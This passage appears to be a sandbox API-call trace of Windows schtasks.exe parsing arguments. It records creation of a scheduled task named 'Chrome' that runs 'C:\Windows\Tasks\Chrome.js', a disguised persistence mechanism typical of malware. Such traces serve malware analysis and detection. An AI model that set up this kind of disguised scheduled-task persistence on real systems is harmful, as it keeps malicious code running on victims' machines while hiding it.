StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0056.497] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0056.497] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0056.497] GetLastError () returned 0x0 [0056.497] lstrlenW (lpString="MINUTE") returned 6 [0056.497] lstrlenW (lpString="MINUTE") returned 6 [0056.497] SetLastError (dwErrCode=0x0) [0056.497] SetLastError (dwErrCode=0x0) [0056.497] lstrlenW (lpString="/tn") returned 3 [0056.497] lstrlenW (lpString="-/") returned 2 [0056.497] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0056.497] lstrlenW (lpString="create") returned 6 [0056.497] lstrlenW (lpString="create") returned 6 [0056.497] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.498] lstrlenW (lpString="tn") returned 2 [0056.498] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.498] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|create|") returned 8 [0056.498] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.498] lstrlenW (lpString="|create|") returned 8 [0056.498] lstrlenW (lpString="|tn|") returned 4 [0056.498] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0056.498] SetLastError (dwErrCode=0x490) [0056.498] lstrlenW (lpString="?") returned 1 [0056.498] lstrlenW (lpString="?") returned 1 [0056.498] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.498] lstrlenW (lpString="tn") returned 2 [0056.498] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.498] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|?|") returned 3 [0056.498] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.498] lstrlenW (lpString="|?|") returned 3 [0056.498] lstrlenW (lpString="|tn|") returned 4 [0056.498] SetLastError (dwErrCode=0x490) [0056.498] lstrlenW (lpString="s") returned 1 [0056.498] lstrlenW (lpString="s") returned 1 [0056.498] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.498] lstrlenW (lpString="tn") returned 2 [0056.498] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.498] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|s|") returned 3 [0056.498] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.498] lstrlenW (lpString="|s|") returned 3 [0056.498] lstrlenW (lpString="|tn|") returned 4 [0056.498] SetLastError (dwErrCode=0x490) [0056.498] lstrlenW (lpString="u") returned 1 [0056.498] lstrlenW (lpString="u") returned 1 [0056.498] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.498] lstrlenW (lpString="tn") returned 2 [0056.498] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.498] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|u|") returned 3 [0056.498] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.498] lstrlenW (lpString="|u|") returned 3 [0056.498] lstrlenW (lpString="|tn|") returned 4 [0056.498] SetLastError (dwErrCode=0x490) [0056.498] lstrlenW (lpString="p") returned 1 [0056.498] lstrlenW (lpString="p") returned 1 [0056.498] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.498] lstrlenW (lpString="tn") returned 2 [0056.499] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.499] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|p|") returned 3 [0056.499] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.499] lstrlenW (lpString="|p|") returned 3 [0056.499] lstrlenW (lpString="|tn|") returned 4 [0056.499] SetLastError (dwErrCode=0x490) [0056.499] lstrlenW (lpString="ru") returned 2 [0056.499] lstrlenW (lpString="ru") returned 2 [0056.499] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.499] lstrlenW (lpString="tn") returned 2 [0056.499] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.499] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|ru|") returned 4 [0056.499] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.499] lstrlenW (lpString="|ru|") returned 4 [0056.504] lstrlenW (lpString="|tn|") returned 4 [0056.504] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0056.504] SetLastError (dwErrCode=0x490) [0056.504] lstrlenW (lpString="rp") returned 2 [0056.504] lstrlenW (lpString="rp") returned 2 [0056.504] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.504] lstrlenW (lpString="tn") returned 2 [0056.504] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.504] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|rp|") returned 4 [0056.505] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.505] lstrlenW (lpString="|rp|") returned 4 [0056.505] lstrlenW (lpString="|tn|") returned 4 [0056.505] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0056.505] SetLastError (dwErrCode=0x490) [0056.505] lstrlenW (lpString="sc") returned 2 [0056.505] lstrlenW (lpString="sc") returned 2 [0056.505] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.505] lstrlenW (lpString="tn") returned 2 [0056.505] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.505] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|sc|") returned 4 [0056.505] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.505] lstrlenW (lpString="|sc|") returned 4 [0056.505] lstrlenW (lpString="|tn|") returned 4 [0056.505] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0056.505] SetLastError (dwErrCode=0x490) [0056.505] lstrlenW (lpString="mo") returned 2 [0056.505] lstrlenW (lpString="mo") returned 2 [0056.505] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.505] lstrlenW (lpString="tn") returned 2 [0056.505] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.505] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|mo|") returned 4 [0056.505] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.505] lstrlenW (lpString="|mo|") returned 4 [0056.505] lstrlenW (lpString="|tn|") returned 4 [0056.505] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0056.505] SetLastError (dwErrCode=0x490) [0056.505] lstrlenW (lpString="d") returned 1 [0056.505] lstrlenW (lpString="d") returned 1 [0056.505] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.505] lstrlenW (lpString="tn") returned 2 [0056.505] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.505] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|d|") returned 3 [0056.505] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.505] lstrlenW (lpString="|d|") returned 3 [0056.505] lstrlenW (lpString="|tn|") returned 4 [0056.505] SetLastError (dwErrCode=0x490) [0056.505] lstrlenW (lpString="m") returned 1 [0056.505] lstrlenW (lpString="m") returned 1 [0056.505] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.505] lstrlenW (lpString="tn") returned 2 [0056.505] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.505] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|m|") returned 3 [0056.506] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.506] lstrlenW (lpString="|m|") returned 3 [0056.506] lstrlenW (lpString="|tn|") returned 4 [0056.506] SetLastError (dwErrCode=0x490) [0056.506] lstrlenW (lpString="i") returned 1 [0056.506] lstrlenW (lpString="i") returned 1 [0056.506] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.506] lstrlenW (lpString="tn") returned 2 [0056.506] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.506] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|i|") returned 3 [0056.506] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.506] lstrlenW (lpString="|i|") returned 3 [0056.506] lstrlenW (lpString="|tn|") returned 4 [0056.506] SetLastError (dwErrCode=0x490) [0056.506] lstrlenW (lpString="tn") returned 2 [0056.506] lstrlenW (lpString="tn") returned 2 [0056.506] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.506] lstrlenW (lpString="tn") returned 2 [0056.506] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.506] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.506] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.506] lstrlenW (lpString="|tn|") returned 4 [0056.506] lstrlenW (lpString="|tn|") returned 4 [0056.506] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0056.506] SetLastError (dwErrCode=0x0) [0056.506] SetLastError (dwErrCode=0x0) [0056.506] lstrlenW (lpString="Chrome") returned 6 [0056.506] lstrlenW (lpString="-/") returned 2 [0056.506] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0056.506] SetLastError (dwErrCode=0x490) [0056.506] SetLastError (dwErrCode=0x490) [0056.506] SetLastError (dwErrCode=0x0) [0056.506] lstrlenW (lpString="Chrome") returned 6 [0056.506] StrChrIW (lpStart="Chrome", wMatch=0x3a) returned 0x0 [0056.506] SetLastError (dwErrCode=0x490) [0056.506] SetLastError (dwErrCode=0x0) [0056.506] lstrlenW (lpString="Chrome") returned 6 [0056.506] SetLastError (dwErrCode=0x0) [0056.506] SetLastError (dwErrCode=0x0) [0056.506] lstrlenW (lpString="/tr") returned 3 [0056.506] lstrlenW (lpString="-/") returned 2 [0056.506] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0056.506] lstrlenW (lpString="create") returned 6 [0056.506] lstrlenW (lpString="create") returned 6 [0056.506] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.507] lstrlenW (lpString="tr") returned 2 [0056.507] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.507] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|create|") returned 8 [0056.507] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.507] lstrlenW (lpString="|create|") returned 8 [0056.507] lstrlenW (lpString="|tr|") returned 4 [0056.507] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0056.507] SetLastError (dwErrCode=0x490) [0056.507] lstrlenW (lpString="?") returned 1 [0056.507] lstrlenW (lpString="?") returned 1 [0056.507] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.507] lstrlenW (lpString="tr") returned 2 [0056.507] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.507] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|?|") returned 3 [0056.507] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.507] lstrlenW (lpString="|?|") returned 3 [0056.507] lstrlenW (lpString="|tr|") returned 4 [0056.507] SetLastError (dwErrCode=0x490) [0056.507] lstrlenW (lpString="s") returned 1 [0056.507] lstrlenW (lpString="s") returned 1 [0056.507] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.507] lstrlenW (lpString="tr") returned 2 [0056.507] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.507] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|s|") returned 3 [0056.507] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.507] lstrlenW (lpString="|s|") returned 3 [0056.507] lstrlenW (lpString="|tr|") returned 4 [0056.507] SetLastError (dwErrCode=0x490) [0056.507] lstrlenW (lpString="u") returned 1 [0056.507] lstrlenW (lpString="u") returned 1 [0056.507] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.507] lstrlenW (lpString="tr") returned 2 [0056.507] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.507] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|u|") returned 3 [0056.507] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.507] lstrlenW (lpString="|u|") returned 3 [0056.507] lstrlenW (lpString="|tr|") returned 4 [0056.507] SetLastError (dwErrCode=0x490) [0056.507] lstrlenW (lpString="p") returned 1 [0056.507] lstrlenW (lpString="p") returned 1 [0056.507] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.507] lstrlenW (lpString="tr") returned 2 [0056.507] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.508] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|p|") returned 3 [0056.508] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.508] lstrlenW (lpString="|p|") returned 3 [0056.508] lstrlenW (lpString="|tr|") returned 4 [0056.508] SetLastError (dwErrCode=0x490) [0056.508] lstrlenW (lpString="ru") returned 2 [0056.508] lstrlenW (lpString="ru") returned 2 [0056.508] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.508] lstrlenW (lpString="tr") returned 2 [0056.508] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.508] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|ru|") returned 4 [0056.508] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.508] lstrlenW (lpString="|ru|") returned 4 [0056.508] lstrlenW (lpString="|tr|") returned 4 [0056.508] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0056.508] SetLastError (dwErrCode=0x490) [0056.508] lstrlenW (lpString="rp") returned 2 [0056.508] lstrlenW (lpString="rp") returned 2 [0056.508] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.508] lstrlenW (lpString="tr") returned 2 [0056.508] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.508] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|rp|") returned 4 [0056.508] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.508] lstrlenW (lpString="|rp|") returned 4 [0056.508] lstrlenW (lpString="|tr|") returned 4 [0056.508] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0056.508] SetLastError (dwErrCode=0x490) [0056.508] lstrlenW (lpString="sc") returned 2 [0056.508] lstrlenW (lpString="sc") returned 2 [0056.508] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.508] lstrlenW (lpString="tr") returned 2 [0056.508] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.508] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|sc|") returned 4 [0056.508] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.508] lstrlenW (lpString="|sc|") returned 4 [0056.508] lstrlenW (lpString="|tr|") returned 4 [0056.508] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0056.508] SetLastError (dwErrCode=0x490) [0056.508] lstrlenW (lpString="mo") returned 2 [0056.508] lstrlenW (lpString="mo") returned 2 [0056.508] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.508] lstrlenW (lpString="tr") returned 2 [0056.509] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.509] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|mo|") returned 4 [0056.509] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.509] lstrlenW (lpString="|mo|") returned 4 [0056.509] lstrlenW (lpString="|tr|") returned 4 [0056.509] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0056.509] SetLastError (dwErrCode=0x490) [0056.509] lstrlenW (lpString="d") returned 1 [0056.509] lstrlenW (lpString="d") returned 1 [0056.509] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.509] lstrlenW (lpString="tr") returned 2 [0056.509] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.509] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|d|") returned 3 [0056.509] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.509] lstrlenW (lpString="|d|") returned 3 [0056.509] lstrlenW (lpString="|tr|") returned 4 [0056.509] SetLastError (dwErrCode=0x490) [0056.509] lstrlenW (lpString="m") returned 1 [0056.509] lstrlenW (lpString="m") returned 1 [0056.509] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.509] lstrlenW (lpString="tr") returned 2 [0056.509] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.509] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|m|") returned 3 [0056.509] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.509] lstrlenW (lpString="|m|") returned 3 [0056.509] lstrlenW (lpString="|tr|") returned 4 [0056.509] SetLastError (dwErrCode=0x490) [0056.509] lstrlenW (lpString="i") returned 1 [0056.509] lstrlenW (lpString="i") returned 1 [0056.509] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.509] lstrlenW (lpString="tr") returned 2 [0056.509] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.509] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|i|") returned 3 [0056.509] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.509] lstrlenW (lpString="|i|") returned 3 [0056.509] lstrlenW (lpString="|tr|") returned 4 [0056.509] SetLastError (dwErrCode=0x490) [0056.509] lstrlenW (lpString="tn") returned 2 [0056.509] lstrlenW (lpString="tn") returned 2 [0056.509] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.509] lstrlenW (lpString="tr") returned 2 [0056.509] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.509] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tn|") returned 4 [0056.510] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.510] lstrlenW (lpString="|tn|") returned 4 [0056.510] lstrlenW (lpString="|tr|") returned 4 [0056.510] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0056.510] SetLastError (dwErrCode=0x490) [0056.510] lstrlenW (lpString="tr") returned 2 [0056.510] lstrlenW (lpString="tr") returned 2 [0056.510] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.510] lstrlenW (lpString="tr") returned 2 [0056.510] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.510] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.510] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|tr|") returned 4 [0056.510] lstrlenW (lpString="|tr|") returned 4 [0056.510] lstrlenW (lpString="|tr|") returned 4 [0056.510] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0056.510] SetLastError (dwErrCode=0x0) [0056.510] SetLastError (dwErrCode=0x0) [0056.510] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0056.510] lstrlenW (lpString="-/") returned 2 [0056.510] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0056.510] SetLastError (dwErrCode=0x490) [0056.510] SetLastError (dwErrCode=0x490) [0056.510] SetLastError (dwErrCode=0x0) [0056.510] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0056.510] StrChrIW (lpStart="C:\\Windows\\Tasks\\Chrome.js", wMatch=0x3a) returned=":\\Windows\\Tasks\\Chrome.js" [0056.510] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0056.510] _memicmp (_Buf1=0x1bd610, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.510] _memicmp (_Buf1=0x1bd650, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.510] SetLastError (dwErrCode=0x7a) [0056.510] SetLastError (dwErrCode=0x0) [0056.510] SetLastError (dwErrCode=0x0) [0056.510] lstrlenW (lpString="C") returned 1 [0056.510] SetLastError (dwErrCode=0x490) [0056.510] SetLastError (dwErrCode=0x0) [0056.510] _memicmp (_Buf1=0x1bd5d0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.510] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0056.510] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0056.510] lstrlenW (lpString=" \x09") returned 2 [0056.510] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0056.510] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0056.510] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0056.510] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0056.510] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x6b) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x6a) returned 0x0 [0056.511] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0056.511] GetLastError () returned 0x0 [0056.511] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0056.511] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0056.511] SetLastError (dwErrCode=0x0) [0056.511] SetLastError (dwErrCode=0x0) [0056.511] lstrlenW (lpString="/mo") returned 3 [0056.511] lstrlenW (lpString="-/") returned 2 [0056.511] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0056.511] lstrlenW (lpString="create") returned 6 [0056.511] lstrlenW (lpString="create") returned 6 [0056.511] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.511] lstrlenW (lpString="mo") returned 2 [0056.511] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.511] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|create|") returned 8 [0056.511] _vsnwprintf 